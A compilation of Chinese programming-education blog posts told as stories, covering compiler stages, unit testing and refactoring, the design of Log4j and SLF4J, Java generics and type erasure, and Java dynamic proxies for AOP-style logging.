由于翻译的复杂性， 除了汇编器之外， 很多新成员加入进来， 我们的家族迅速发展壮大， 甚至形成了一个专门翻译的流水线，  这个流水线的家族成员分工合作， 把高级语言翻译成低级语言。









我主要做的工作就是第一步词法分析，  大家经常给我开玩笑说： 你这是大刀向源程序头上砍去。




这其实挺形象的，比如高级语言的源程序是这样：

total =  1000 + salary * 12




我拿着“大刀”， 唰唰唰把他们砍成一个个的片段， 每个片段叫做Token。




1. 标识符 total

2. 赋值符号 =

3. 数字 1000

4. 加号 +

5. 标识符 salary

6. 乘号 *

7. 数字12




程序中的空格就被我无情的删除了， 我还会建立一个符号表让后面的人去使用：









接下来我二叔就会接管， 他非常厉害， 会做语法分析，据说他用了一个叫什么上下文无关语法的理论，  竟然能把我生成的Token 按照语法规则组建成一棵树









然后三舅就做语法分析， 他会看看这些标志符的类型，作用域是不是正确，运算是否合法， 取值范围有没有问题等等。




我大舅的工作最重要， 把中间代码生成， 代码优化，以及最后的代码生成都给承包了。




比如大舅根据语法树生成的中间代码如下：




temp1 = id2 * 12

temp2 = 1000 + temp1

id1 =  temp2




(注意：id2 就是salary, id1 就是 total)




然后他再优化一下：

temp1 = id2 * 12

id1 = 1000 + temp1




然后翻译成汇编：

MOV  id2      AX

MUL  12       AX

ADD  1000   AX

MOV  AX      id1




已经非常接近运行了！




但是等等， 这id1 （total）, id2 (salary) 只是两个符号， 计算机根本不知道是什么东西，  计算机只关心内存和寄存器，  所以还得给这两个家伙分配空间， 得到他们的地址。




如果这两个变量是在别的文件中定义的，  还需要做一件特别的事情： 链接！




通过链接的方式，把变量的真正地址获取到， 然后修改上面的id1, id2, 这样才能形成一个可以执行的程序。




在翻译的过程中，如果有任何步骤出了错误， 我们就会通知程序员， 告诉他哪个地方写错了， 改正后重新再来。




这就是我们家族的工作， 非常重要，没有我们的翻译工作， 人类就无法使用高级语言来编程， 像C, C++,Pascal, C#, Java 这样影响力巨大的语言就不会出现， 现在的软件编程行业也不会这么兴旺发达。 




我们家族和操作系统、数据库、网络协议栈等软件一起，成为了计算机世界底层的基础软件。 




其实我们都明白，现在所谓的高级语言一点也不高级，只有经过训练的专业人士才能使用 ，  也许在未来会出现完全用自然语言来写程序， 到那个时候我们家族会是什么样子？ 估计只有上天才知道了。 







·END·
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                    张大胖和单元测试

                                                                                

                    

                    

                    
                    
                    1

敏捷运动
 


张大胖的公司正在掀起一场轰轰烈烈的敏捷运动。




似乎一夜之间， 每个人的嘴边都挂起了scrum, xp , tdd，user story 等敏捷词汇。




公司要求， 每个开发人员都必须掌握单元测试这个非常基本的敏捷实践，为此公司还专门组织了单元测试培训。




张大胖自然不能落后， 他热情满满地参与了培训，  在会议上了解了单元测试的各种好处, 学会了JUnit这个简单又强大的测试工具，理解了一个测试用例执行之前会调用"Setup"方法做必要的初始化, 执行完毕以后会调用 “teardown”做清理。




培训中还特别提到了如何做Mock对象， 这让张大胖印象深刻： 原来那些不存在的或者难于new 出来的对象可以使用Mock工具(EasyMock, jmockit等) 来“造假”啊！




公司还专门定义了什么是好的单元测试：

1.  单元测试是“白盒测试”， 应该覆盖各个分支流程、异常条件

2.  单元测试面向的是一个单元("Unit"), 是java中的一个类或者几个类组成的单元。

3.  单元测试运行一定要快！

4.  单元测试一定是可重复执行的

5.  单元测试之间不能有相互依赖，应该是独立的。

6.  单元测试代码和业务代码同等重要， 要一并维护。




培训结束了，张大胖信心满满： 写单元测试简直就是小菜一碟！




精明的项目经理趁热打铁、不失时机对大家提出了要求：  兄弟们，我听说隔壁组定了一个目标， 单元测试的代码覆盖率要达到70% ， 我们一定要超过他们， 我们的覆盖率要达到 75% ！
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困惑
 





张大胖磨拳擦掌，准备大干一场 ， 他打开了Eclipse,  开始查看自己之前写的代码，准备全部加上单元测试用例， 搞一个代码100%全覆盖， 勇夺覆盖率冠军！




可是第一个小模块就把张大胖给难住了， 你看看这代码， action调用service, service调用 dao, dao里都是sql，  简单的增删改查，这有什么可测试的？




唉，为了代码覆盖率，硬着头皮写吧，按照分层测试的原则， 测试action的时候把service给mock出来，测试service的时候把dao给mock出来......但张大胖总觉得不太对劲，总是觉得自己是在测试框架，而不是测试业务代码。




当然，张大胖也遇到了一些有一定业务逻辑的模块，但是这些模块患有重度依赖症，依赖10几个其他模块的接口，为了单独测试他们，张大胖废了九牛二虎之力，做了10多个mock对象才把依赖给解除开。




但是mock对象过多， 协调他们进入一致的状态来正确执行测试十分困难： 当接口1处于A状态，并且接口2处于B状态， 并且接口3处于C状态.....  接口10处于X状态时， 测试用来才能正确执行， 唉，真是不容易啊。




一天下来， 这个mock就把张大胖弄的头晕。




大胖感慨的想： 敏捷教练们大谈单元测试的好处， 可用来展示的都是非常简单的例子， 现实的代码要复杂的多啊。




第二天便发生了状况， 同组的小李改了业务代码，却忘记修改单元测试代码，导致很多单元测试失败，那一大片醒目的红色让人触目惊心。




小李去修改单元测试，可是怎么都读不懂大胖的测试用例，他不满的说:  ”大胖，我觉得你的测试代码比业务代码都要复杂啊， 你是怎么写出来的？“




大胖委屈的说： “别说你了， 看看这么多的mock 对象， 我自己都头晕， 这该怎么办呢？”




小李也没辙，  这样下去， 别说业务代码了， 光是维护单元测试就把人给累死了。
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讨论
 





他们俩人去找项目经理诉苦， 经理说：  有不少人都在说这个问题，我们开一个会议来讨论下吧！




项目经理召集了几个经验丰富的骨干专门来讨论这个问题。 他先做了一个开场白：




“我们现在的单元测试进行的如火如荼， 我们组做的还是非常好的， 其他组遇到的像”单元测试运行慢”， “单元测试不能重复执行， 换一台机器就出错”,"单元测试互相依赖" 等常见问题我们组基本没有，   我们遇到的主要问题有两个：




1. 张大胖和小李反映单元测试代码过于复杂， 难于维护， 张大胖那个mock了10多个接口的测试想必你们也看到了




2. 大家认为有些非常简单的增删该查没必要去做单元测试 。




如果单元测试维护成本越来越高， 我担心大家会慢慢的抛弃他们， 大家一块儿来想想办法吧”




老梁说： “我做单元测试的时间比较久了， 我认为如果测试代码需要很复杂的Setup 才能开始测试， 那就反映了一个问题：我们的业务代码接口设计有问题！  ”




张大胖佩服的说： “老梁真厉害，一下子就看出了问题的本质， 我当时只是想着怎么把测试搞定，没想到是业务代码的问题”




老蔡也附和说： “说的没错， 简单的单元测试谁不会啊？  关键还是要处理现实中的遗留代码， 我们之前有些模块的API设计确实是有问题， 看来到了重构的时候， 我们趁着这次东风把一些不好的设计提升一下， 这样测试肯定会变的简单。 大胖， 小李， 重构的过程基本上就是一个重新设计的过程， 这可是个学习的好机会啊”




大胖说：“ 我也了解过一些重构， 正好练习一下。 ”




大家都表示同意， 只是项目经理为难的说： “重构可能会很费时间， 还有可以引入新的bug , 测试也要介入， 这样的话会不会影响我们的进度啊？”




老梁说： “这也是没办法的事情 ，如果不重构， 不要说单元测试了， 就连我们的代码都可能今天被贴个补丁， 明天再被贴个补丁， 慢慢的腐化下去， 越来越难以维护， 最后无人能懂， 无人敢改，维护成本可是天价了。 ”




大胖说： “没事， 为了学习 ，我愿意加班来做”




经理赞赏的看着大胖，心说:  "这孩子不错，挺上进的， 年终考核的时候得倾斜一下"




“好吧，就这么决定” 经理说，“大胖，相关的重构你来做， 有问题的话请教老梁和老蔡吧”




“那增删该查到底要不要测试？”




老梁说：“我那天仔细思考了一下，这些代码没有逻辑， 就是一层调用一层， 我觉得单元测试必要性不大”




“如果不测试，怎么保证正确性呢？ 我们的代码覆盖率也肯定达不到75%了” 大胖说




“没有必要特别追求代码覆盖率， 要不这样” 老蔡说，“对于这样的代码， 咱们就不要写单元测试了， 还是通过自动化的功能测试来覆盖得了！”




“嗯，我觉得这样可行， 功能测试可以有开发写， 也可以由测试来写” 项目经理说




老梁说： “同意， 还有一点建议是， 之前我们都是程序员在自己机器上跑单元测试， 以后咱们要把运行的过程加入到自动化的Build当中， 包括单元测试和功能测试，作为重要的质量保证。”
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一年以后
 





经过团队艰苦的努力， 张大胖的项目组通过单元测试和功能测试编织起来了一张密密麻麻的安全大网，不管是多么微小的变动， 都有测试用例做回归测试， 现在大家需要改动起代码时比原来自信多了。




更重要的是， 关键的核心代码做了重构，接口API变的越来越好，代码易读易维护，没有了脏代码的羁绊， 新需求实现起来也更加容易。




张大胖感慨的说： “实现了自动化的单元测试， 我们确实变得更敏捷了。”




当别人问他是怎么做单元测试的， 张大胖说： “告诉你吧， 关键就在于如何处理遗留代码。”







后记： 我在文章中描绘了一个实现自动化单元测试的理想项目组， 但实际情况下， 很多公司都是浅尝辄止，没有精力和时间去完成代码的重构， 单元测试变成了一个鸡肋， 最后还是被废弃掉，回到老路子上去了。










你看到的只是冰山一角， 更多精彩文章，参见《码农翻身2016文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577










公众号：码农翻身





“码农翻身”公众号由工作15年的前IBM架构师创建，分享编程和职场的经验教训。












Java帝国



                    
                    
                    一个著名的日志系统是怎么设计出来的？

                                                                                

                    

                    

                    
                    
                    1
前言


Java帝国在诞生之初就提供了集合、线程、IO、网络等常用功能，从C和C++领地那里吸引了大量程序员过来加盟，但是却有意无意地忽略了一个重要的功能： 输出日志。





对于这一点，IO大臣其实非常清楚， 日志是个很重要的东西， 因为程序运行起来以后， 基本上就是一个黑盒子，如果程序的行为和预料的不一致，那就是出现Bug了，如何去定位这个Bug 呢?   




臣民们能用的工具有两个，第一个就是单步调试，一步步地跟踪，查看代码中变量的值， 这种办法费时费力， 并且只能在程序员的机器上才能用。 




第二种就是在特定的地方打印日志， 通过日志的输出，帮助快速定位。尤其是当代码在生产环境上跑起来以后， 日志信息更是必不可少，要不然出了状况两眼一抹黑，上哪儿找问题去？ 总不能让臣民们把自己变成一个线程进入系统来执行吧？




但是IO大臣也有自己的小算盘： 日志嘛， 用我的System.out.println(.....) 不就可以了？！   我还提供了System.err.println不是？  




在IO大臣的阻挠下， 从帝国的第一代国王到第三代国王， 都没有在JDK中提供日志相关的工具包， 臣民们只好忍受着去使用System.out.println去输出日志，把所有的信息都输出到控制台， 让那里变成一堆垃圾。




2
张家村


 张家村的电子商务系统也不能幸免，自然也遇到了日志的问题。经验丰富的老村长已经烦透了System.out.println所输出的大量难于理解的无用信息，看着村民民整天苦逼地和这些System.out做斗争，他找来了小张，命令他设计一个通用的处理日志的系统。




小张在消息队列和JMS的设计上花了不少功夫， 积累了丰富的经验，从那以后一直都是实现业务代码，一直都是CRUD， 张二妮整天笑话自己是HTML填空人员，这一回一定要让她看看自己的设计功力！




（传送门：《Java帝国之消息队列》，《Java帝国之JMS的诞生》）




老村长给小张下达的需求是这样的：




1.  日志消息除了能打印到控制台， 还可以输出到文件，甚至可以通过邮件发送出去（例如生成环境出错的消息）




2. 日志内容应该可以做格式化， 例如变成纯文本，XML, HTML格式等等




3. 对于不同的Java class，不同的 package ， 还有不同级别的日志，应该可以灵活地输出到不同的文件中。

例如对于com.foo 这个package，所有的日志都输出到 foo.log 文件中

对于com.bar 这个package ，所有文件都输出到bar. log文件中

对于所有的ERROR级别的日志，都输出到  errors.log文件中




4. 能对日志进行分级， 有些日志纯属debug ， 在本机或者测试环境使用， 方便程序员的调试， 生产环境完全不需要。有些日志是描述错误(error)的， 在生产环境下出错的话必须要记录下来，帮助后续的分析。




小张仔细看了看，拍着胸脯对老村长说：“没问题， 明天一定让您老看到结果。”




3
小张的设计


老村长走了以后，小张开始分析需求， 祭出“面向对象设计大法”，试图从村长的需求中抽象出一点概念。





首先要记录日志，肯定需要一个类来表达日志的概念，这个类至少应该有两个属性，一个是时间戳，一个是消息本身，把它叫做LoggingEvent吧，记录日志就像记录一个事件嘛。




其次是日志可以输出到不同的地方，控制台、文件、邮件等等， 这个可以抽象一下，不就是写到不同的目的地吗？ 可以叫做LogDestination？ 




嗯， 还是简单一点，叫做Appender吧， 暗含了可以不断追加日志的意思。









至于第二条的日志内容可以格式化，完全可以比葫芦画瓢， 定义一个Formatter接口去格式化消息。










对了， Appender 应该引用Formatter ，这样以来就可以对LoggingEvent记录格式化以后再发送。 




第三条需求把小张给难住了，不同的class, package 输出的目的地不同？  “目的地”这个概念是由Appender来表达的， 难道让不同的class, package 和Appender关联？ 不不， 不能这样 ！ 




还需要一个新的概念 ， 这个概念是什么？ 




从用户角度想一下， 村民们要想获取日志，必须得先获取个什么东西，这个东西是不是可以称为Logger啊？  灵感的火花就闪了那么一下就被小张抓住了： 获取Logger的时候要传入类名或者包名！ 









这样一来，不同的class, package就区分开了， 然后让Logger 和Appender关联，灵活地设置日志的目的地， 并且一个Logger可以拥有多个Appender，同一条日志消息可以输出到多个地方， 完美！










小张迅速地画出了核心类的类图：










还算漂亮，小张陶醉着自我欣赏了一下。 





再接再厉， 把第四条需求也设计一下，日志要分级，这个简单， 定义一个Priority的类，里边定义5个常量DEBUG, INFO, WARN, ERROR, FATAL， 表示5个不同的级别就OK了。当然这我5个级别有高低之分， DEBUG级别最低， FATAL级别最高。




还可以给Logger增加一些辅助编程的方法，如Logger.debug(....) , Logger.info(...)  , Logger.warn(...) 等等， 这样村民们将来就可以轻松地输出各种级别的日志了。




等一下， 老村长还说过“对于所有的ERROR级别的日志，都输出到  errors.log文件中” 类似这样的需求， 好像给忽略了。




这也好办嘛， 只要在Appender上增加一个属性，就叫做Priority， 如果用户要输出的日志是DEBUG级别， 但是有个FileAppender的Priority是 ERROR级别，那这个日志就不用在这个FileAppender中输出了 ，因为ERROR级别比DEBUG级别高嘛。




同理， 在Logger类上也可以增加一个Priority的属性，用户可以去设置， 如果一个Logger的Priority是ERROR， 而用户调用了这个Logger的debug方法， 那这个debug 的消息也不会输出。




小张全心全意地投入到设计当中，一看时间， 都快半夜了， 赶紧休息， 明天向村长汇报去。 




4
正交性


第二天， 小张给老村长展示了自己设计的LoggerEvent, Logger , Appender, Formatter, Priority 等类和接口， 老村长捻着胡子满意地点点头：“不错不错，与上一次相比有巨大的进步。你知不知道我在需求中其实给了你引导？”





“引导？ 什么引导？ ”




“就是让你朝着正交的方向去努力啊”




“正交？ ”




‘“如果你把Logger, Appender, Formatter看成坐标系中的X轴，Y轴，Z轴， 你看看，这三者是不是可以独立变化而不互相影响啊？”









“我赛，果然如此，我可以任意扩展Appender接口而影响不到Logger和Formatter， 无论有多少个Logger 都影响不了Appender和Formatter ， 这就是正交了？”




“是啊，当你从系统中提取出正交的概念的时候，那就威力无比了，因为变化被封装在了一个维度上，你可以把这些概念任意组合，而不会变成意大利面条似的代码。 ”




听到村长做了理论的升华， 小张兴奋得直搓手。 




“好吧，你把这个设计实现了吧，对了，你打算叫什么名字？ ”  村长问道




“我打算把他叫做Log4j , 意思是Log for Java”




“不错，就这么定了吧”




5
Log4j


小张又花了两个月的时间把Log4j 开发了出来， 由于Log4j有着良好的设计，优异的性能， 不仅仅是张家村的人在用， Java帝国的很多村镇、部落都爱上了它。





后来张家村把Log4j 在Apache部落开源了， 这下子吸引了无数的人无偿帮助测试它，扩展它，改进它， 很快就成了帝国最流行的日志工具。




张家村建议帝国把Log4j 纳入到JDK 中， 帝国那效率低下的官僚机构竟然拒绝了。  消息传到了IO大臣的耳朵里，他不由的扼腕叹息： 唉，失去了一次极好的招安机会啊。 现在唯一的办法就是赶紧上奏皇上，在官方也提供一套，争取让臣民们使用官方版本。




到了第四代国王（JDK1.4)，臣民们终于看到了帝国提供的java.util.logging包，也是用来记录日志的，并且其中的核心概念Logger, Formatter, Handler 和 Log4j非常相似，只是为时已晚， Log4j早已深入人心了， 不可撼动了。  




6
尾声


Log4j 在Apache开源以后， 小张也逐渐地有点落寞，他闲不住又写了一个工具，叫做logback, 有了之前的经验，这logback 比log4j 还要快。 





如今的日志世界有了很多的选择 ，除了java.util.logging, log4j 之外，还有logback，tinylog 等其他工具。




小张想了想， 这么多日志工具，用户如果想切换了怎么办？不想用log4j了，能换到logback吗？ 




我还是提供一个抽象层吧， 用户用这个抽象层的API来写日志， 底层具体用什么日志工具不用关心，这样就可以移植了。 




小张把这抽象层就叫做Simple Logging Facade for Java，简称SLF4J。  









对于Log4j , JDK logging, tinylog 等工具， 需要一个适配层， 把SLF4J 的API转化成具体工具的调用接口。 





由于Logback这个工具也是出自小张之手， 直接实现了SLF4J的API，所以连适配层都不需要了， 用起来速度飞快，效率最高，SLFJ4+Logback 成为了很多人的最爱， 大有超越Apache Common Logging + Log4j 之势。 




后记： 本文主要想讲一下日志工具的历史和现状， 尤其是Log4j核心的设计理念。




文中的小张其实就是Ceki Gülcü，他开发了Log4j , logback,以及slfj4， 为Java的日志事业做出了卓越的贡献。



（完）
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                    1
新王登基


登基以后第一次早朝， 意气风发的第5代Java国王坐在宝座上，看着下面恭恭敬敬的各位大臣，心情大好。




他早已下定决心，要刷新吏治，革除弊端，将Java帝国带上更高的巅峰。 




国王的第一道命令就是要求各位大臣展开一场轰轰烈烈的自检运动，对自己负责的领域好好检查一遍，倾听一下帝国臣民们的呼声，半个月以后，每个大臣至少要报上来三条合理化建议。 




下面的大臣心说这肯定是三分钟热度，过段时间国王就忘了。虽然这么想，嘴上还是说道：“陛下圣明，真乃开天辟地之举，定会使我Java帝国江山永固。”




没想到半个月后又一次早朝，国王真的开始检查作业了： “IO大臣，你那里情况如何？ ”




老奸巨猾的IO大臣虽然挨了当头一棒，愣了一下，但是马上恢复了：“陛下，我Java帝国自成立以来，经过先祖们励精图治，制度几近完美， 国家繁荣昌盛，子民们无不交口称颂， 我这里实在是没有什么可以改进的了。”




其他大臣也纷纷附和：“IO大臣所言极是，臣这里也找不到了” 。 




国王看着这些不干事儿的官僚，恨得牙痒痒：“哼哼！ 你们没有，朕这里可是有啊，来人，宣C++帝国的使者进殿！”




2
C++使者


一个年轻人在大家狐疑的目光中走了进来， 在大殿中央给国王行了礼。 




国王说道：“这是C++国王来的使者，他带来了一个我们帝国没有的新玩意儿。 泛型先生，你一路舟车劳顿，辛苦了，烦请你给我们说说C++王国的泛型吧。” 




看来国王早就和这个家伙串通好了，等着给我们好看呢， 要小心， IO大臣警觉起来。




这个被称为泛型先生的家伙说：“Java语言以严谨而著称， 但是设计的时候却没有把泛型这个重要的概念给考虑进去，确实是不应该啊。”




“什么是泛型？ 能举个例子吗？”　线程大臣问道。




泛型先生展示了一段代码：









集合框架大臣一看这小子竟然想拿自己开刀，这还了得， 接过话头儿说：“这有什么问题？”





小伙子说： “我向List当中加了一个字符串和整数， 看起来没有问题，可是使用List的人就麻烦了，他必须得知道第一个元素是字符串类型， 第二个是Integer， 还得强制转型，要不然就会出错。”









“这不很正常吗？ ” 集合框架大臣问道 “ 写程序的那些码农当然要记住每个元素的类型了， 再说了，我这个List 能容纳任何类型的元素，多灵活！”





泛型使者说：“这么做会增加使用者的责任，编译器也无法帮忙， 在运行时才会抛出Class Cast 异常。”




“那你说说，怎么才能让编译器帮忙？”




“这就是我来这里的目的了，在我的家乡C++帝国， 我们可以定义一个模板类，例如：”  









“这里定义了一个模板类List ,  通过它你可以实例化成你想要的任何类型，例如List<int>, List<string>，List<Employee>......   上面的代码实例化了一个List<int>，所以你只能往里边添加整数，如果添加其他类型的值例如字符串， 编译器就能检查出来，直接报错。  我们C++帝国把这种能力称为泛型（Generics）  ”




集合框架大臣笑道： “哈哈，这么古怪的语法，怪不得你们C++越来越.... ”  一转眼看到Java国王那威严的目光， 他生生地把后半句给咽了进去。 




 “众位爱卿，估计你也看到了，这个‘泛型’能够在编译期检查出错误， 使用List的人也不用做强制转型了，还是很有好处的。我们Java 也应该加上类似功能”  




“怎么加上呢？ ” 集合框架大臣问道。




“好办啊，仿照C++的语法就行了”  Java国王心想，这些占据高位，但是又不做事的家伙们以后要统统替换掉。 




国王让吕公公展开了一张写满代码的纸：









 “大家看看这段代码，看到那个T没有，你可以它想象成一个占位符，将来可以传入任意类型，例如Integer, String等等”









集合框架大臣一看国王连代码都写好了，心说这国王也真够拼的， 看来是铁了心要这么干了。 




3
泛型实现


IO大臣说：“陛下圣明，臣愚钝，还有一事不明，这个所谓的泛型，怎么实现呢？”




C++泛型使者说： “在我们C++帝国，每次你去实例化一个泛型/模板类都会生成一个新的类，例如模板类是List ，然后你用int ,double,string, Employee 分别去实例化， 那编译的时候，我们就会生成四个新类出来，例如List_int和List_double，List_string, List_Employee。” 




集合框架大臣说：“啊？！ 这样一来得生成很多新的类出来啊，系统会不会膨胀得要爆炸了。”




国王说：“不用担心，我已经给C++的泛型使者深谈过，我们不用膨胀法， 相反，我们用擦除法。”




“擦除法？ ” 众大臣面面相觑。 




“简单来说就是一个参数化的类型经过擦除后会去除参数， 例如ArrayList<T> 会被擦除为ArrayList”




“那我传入的String，Integer等都消失了？”  集合框架大臣大惊失色。




“不会的，我会把他们变成Object ,  例如ArrayList<Integer>其实被擦除成了原始的ArrayList ：









线程大臣问道： “陛下， 我们通过泛型， 本来是不想让臣民们写那个强制转型的，臣民们可以写成这样 Integer i = list1.get(0);   现在类型被擦除，都变成Object了， 怎么处理啊？ ”




Java国王说： “ 很简单啊， 在编译的时候做点手脚，加个自动的转型嘛： Integer i = （Integer）list1.get(0);”




“陛下真是高瞻远瞩， 臣等拜服”  IO大臣马上拍马屁。




4
泛型方法


集合框架大臣说： “陛下，刚才您说的都是泛型类， 对于一些静态方法该怎么办？”






“简单啊，把那个<T>移到方法上去！” 国王的命令不容置疑








集合框架大臣看了一会，自言自语到： “这个静态的函数是求最大值的，就是说需要对List中的元素比较大小，如果臣民们传入的T没有实现Comparable接口，就没法比较大小了！”




线程大臣，IO大臣纷纷点头称是。




王国心想这些大臣也不是一无是处，还是有点想法的嘛， 他转向C++的使者：  “这倒是个难题， 泛型使者， 你怎么看？”




“这个容易，可以做一个类型的限制， 让臣民们传入类型T必须是Comparable的子类才行， 要不然编译器就报错， 我建议使用extends关键字。” C++的泛型使者看起来很有经验。








“妙啊” 国王大为赞赏  “来人， 赏金500两！ ”




IO大臣提议： “陛下，臣提议让泛型使者在京城多呆几天，协助我们把Java泛型给实现了。”




国王说：“准奏，这是一件大事情， 希望各位爱卿同心协力， 办好后朕还有重赏。”




（老刘注： 除了extends之外， Java泛型还支持super,   实际上为了更加灵活，上面的Comparable<T> 应该写成Comparable <? super T> ， 这里不再展开描述。）




5
泛型和继承


经过了几个月的准备， Java泛型正式推出，开始让臣民们使用了。 




不出国王和大臣所料， 泛型极大程度地减少了运行期那些转型导致的异常，简化了代码，受到了大家的一致欢迎。 




国王特地设置了一个泛型大臣的职务， 暂时让集合框架大臣兼任， 没办法，集合框架的改动是泛型的一个重头戏。




过了几天， 泛型大臣兼集合框架大臣上了一个奏章，上面有一张图和若干代码：














国王觉得很诧异，这是怎么回事，print函数能接受的参数不是ArrayList<Fruit>吗？ 当传递一个ArrayList<Apple>为什么出错呢， 难道我们Java帝国的多态不管用了吗？




他召来泛型大臣问个明白。　




泛型大臣说：“陛下明鉴，这个Apple 虽然是Fruit的子类， 但是 ArrayList<Apple>却不是 ArrayList<Fruit>的子类，实际上他们俩之间是没有关系的，不能做转型操作，所以调用print的时候就报错了。”









“为什么不能让ArrayList<Apple>转成ArrayList<Fruit>呢？  ”




“如果可以这么做的话， 那么不但可以向这个list中加入Apple, 还可以加入Orange, 泛型就被破坏了”









“奥，原来如此”  国王心想泛型大臣还是不错滴。 “那针对刚才的问题怎么办呢？”




“我和各位大臣商量了，我们打算引入一个通配符的方式来解决， 把函数的输入参数改为改成下面这样：”









“也就是说，传进来的参数，只要是Fruit或者Fruit的子类都可以，对吧”  国王看出了关键。




“是的，陛下，这样以来就可以接收ArrayList<Fruit> 和 ArrayList<Apple> ,ArrayList<Orange> 这样的参数了！”




“好吧，虽然看起来有点不爽， 就这么实施吧！”




（完）
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深夜奏对


已经快三更天了， Java帝国的国王还在看着IO大臣的奏章发呆，他有点想不明白， 帝国已经给臣民了提供了这么多的东西，他们为什么还不满意呢？ 集合、IO、反射、网络、线程、泛型、JDBC ......在IT界哪一个不都是响当当的硬通货？  有了这些技术，写个Java程序多简单啊， 臣民们为何还整天抗议呢？





这还是昨天IO大臣的一个奏章，其中说到各个部落要酝酿一场大规模的抗议游行，抗议Java不支持动态性，不能在运行时修改一个类，导致不能用声明的方式来编程。




国王愤愤地想，我的政策太开明了，这些刁民不知好歹，蹬鼻子上脸，以后要坚决加强东厂西厂锦衣卫镇抚司等纪检法的建设，有意见可以上访， 不能这么胡闹，增加社会不稳定因素。帝国正在和Python, PHP等国家开战，处处都要银子，攘外必先安内啊。




想到这里，国王立刻命令吕公公宣IO大臣进宫。




IO大臣半夜里被从热腾腾的的被窝里拽出来，心里老大不情愿， 迷迷糊糊地跟着吕公公进了宫。




“陛下半夜三更还在为国事操劳，真乃臣等之罪也 ！”  IO大臣虽然心里不情愿，但还是毕恭毕敬。




“爱卿，你说说这是怎么一回事？ 什么是Java 不支持动态性？ ”国王拿出了奏章。




IO大臣心里明白了，原来是介个啊。




“启奏陛下，其实这是刁民们羡慕Python 、Ruby 等语言的动态性，想让我们Java 也支持，他们最想要的一个功能就是能在运行时对类进行修改，这样可以用声明的方式来编程。”




“你能不能说点朕能听懂的话？” 国王低沉的声音里隐藏着马上就要喷薄而出的怨气，老子想了一晚上都没整明白，你还在这里给我文绉绉的！




“是这样”  IO大臣开始调用脑细胞遣词造句，准备用通俗易懂的语言扑灭陛下的怒火。




“所谓运行时对类进行修改，打个比方来说，我写了一个HelloWorld的类，其中有两个方法：sayHello()和sayHelloToPHP()，陛下请看： ”









“这是帝国三岁小孩都能明白的代码，说重点！”




“然后这个类运行起来了，刁民们希望在运行的时候可以修改这类， 譬如加一个新方法sayHelloToPython()， 或者对现在的sayHello()方法里加一点新东西， 甚至把sayHelloToPHP()这个方法删除！”









“这些刁民太过分了， 难道他们不能写个新的类来做这件事吗？”





“陛下圣明， 臣也觉得可以新写一个类比如HelloWorldNew来做这件事情，重新编译一下不就行了吗？  可是他们说的是在运行时修改，是运行时，运行时，运行时，重要的事情说三遍，不是编译时。”




“运行时？ 一个类一旦装入到方法区还怎么修改 ”  国王还是很了解JVM这一套。 “你知道他们为什么有这个要求吗？”




“他们说了想用声明的方式来编程.....”  IO大臣意识到大事不好。




“什么是声明的方式”  国王穷追不舍




“这个臣还不太清楚......”




“快去彻查，限你三天回话。”




“遵旨”




2
明察暗访


IO大臣冷汗都出来了， 他睡意全无，赶紧召集家丁幕僚准备上山下乡、明察暗访，限他们两天把这个“以声明的方式编程”搞清楚。





两天内不断有快马回报，各种各样的信息如雪片般飞来。  IO大臣又花了一天时间整理，终于明白了这个“以声明的方式编程”。




原来这帮刁民犯懒，写完了代码以后有这样的需求：

在某些函数调用前后加上日志记录

给某些函数加上事务的支持

给某些函数加上权限控制

......




这些需求挺通用的，如果在每个函数中都实现一遍，那重复代码就太多了。 更要命的是有时候代码是别人写的，你只有class 文件，怎么修改？ 怎么加上这些功能？




所以“刁民”们就想了一个损招，他们想在XML文件或者什么地方声明一下， 比如对于添加日志的需求吧， 声明的大意如下：




对于com.coderising这个package下所有以add开头的方法，在执行之前都要调用Logger.startLog()方法， 在执行之后都要调用Logger.endLog()方法。 




对于增加事务支持的需求，声明的大意如下：




对于所有以DAO结尾的类，所有的方法执行之前都要调用TransactionManager.begin()，执行之后都要调用TransactionManager.commit(), 如果抛出异常的话调用TransactionManager.rollback()。




他们已经充分发挥了自己的那点儿小聪明，号称是开发了一个叫AOP的东西，能够读取这个XML中的声明， 并且能够找到那些需要插入日志的类和方法， 接下来就需要修改这些方法了。 但是Java帝国不允许修改一个已经被加载或者正在运行的类， 于是他们就不干了，就要抗议、就要游行，就要暴动, 真是可恶。




IO大臣决定向国王做一次汇报，看看国王的反应。




3
Java 动态代理


国王不愧是国王， IO大臣稍微一解释， 就明白怎么回事了。





“爱卿，你觉得该怎么办？ ”  皮球又被踢到了IO大臣那里。




“臣觉得不能让这些刁民突破帝国的底线， 我们的class在运行时是不能被修改的，如果也像Python，Ruby 那样在运行时可以肆意修改，那就太混乱了！”  IO大臣小心翼翼地揣摩圣意。




“言之有理， 爱卿有何办法？ ”




“臣想到了一个办法，虽然不能修改现有的类，但是可以在运行时动态的创建新的类啊，比如有个类HelloWorld:









“这么简单的类，怎么还得实现一个接口呢？ ” 国王问道




“臣想给这些刁民们增加一点点障碍， 你不是想让我动态地创建新的类吗？你必须得有接口才行啊”　IO大臣又得意又阴险地笑了。




国王脸上也露出了一丝不易觉察的微笑。




“现在他们的问题是要在sayHello()方法中调用Logger.startLog(), Logger.endLog()添加上日志， 但是这个sayHello()方法又不能修改了！”








“所以臣想了想， 可以动态地生成一个新类，让这个类作为HelloWorld的代理去做事情（加上日志功能）， 陛下请看，这个HelloWorld代理也实现了IHelloWorld接口。 所以在调用方看来，都是IHelloWorld接口， 并不会意识到其实底层其实已经沧海沧田了。”








“朕能明白你这个绿色的HelloWorld代理，但是你这个类怎么可能知道把Logger的方法加到什么地方呢？”　国王一下子看出了关键。　




“陛下天资聪慧，臣拜服，‘刁民’们需要写一个类来告诉我们具体把Logger的代码加到什么地方， 这个类必须实现帝国定义的InvocationHandler接口，该接口中有个叫做invoke的方法就是他们写扩展代码的地方。  比如这个LoggerHandler： ”









“ 看起来有些让朕不舒服，不过朕大概明白了， 无非就是在调用真正的方法之前先调用Logger.startLog(), 在调用之后在调用Logger.end()， 这就是对方法进行拦截了，对不对？”




“正是如此！ 其实这个LoggerHandler 充当了一个中间层， 我们自动化生成的类$HelloWorld100会调用它，把sayHello这样的方法调用传递给他 （上图中的method变量），于是sayHello()方法就被添加上了Logger的startLog()和endLog()方法”









“此外，臣想提醒陛下的是，这个Handler不仅仅能作用于IHelloWorld 这个接口和 HelloWorld这个类，陛下请看，那个target 是个Object, 这就意味着任何类的实例都可以， 当然我们会要求这些类必须得实现接口。  臣民们使用LoggerHandler的时候是这样的：”








输出：

Start Logging

Hello World

End Logging




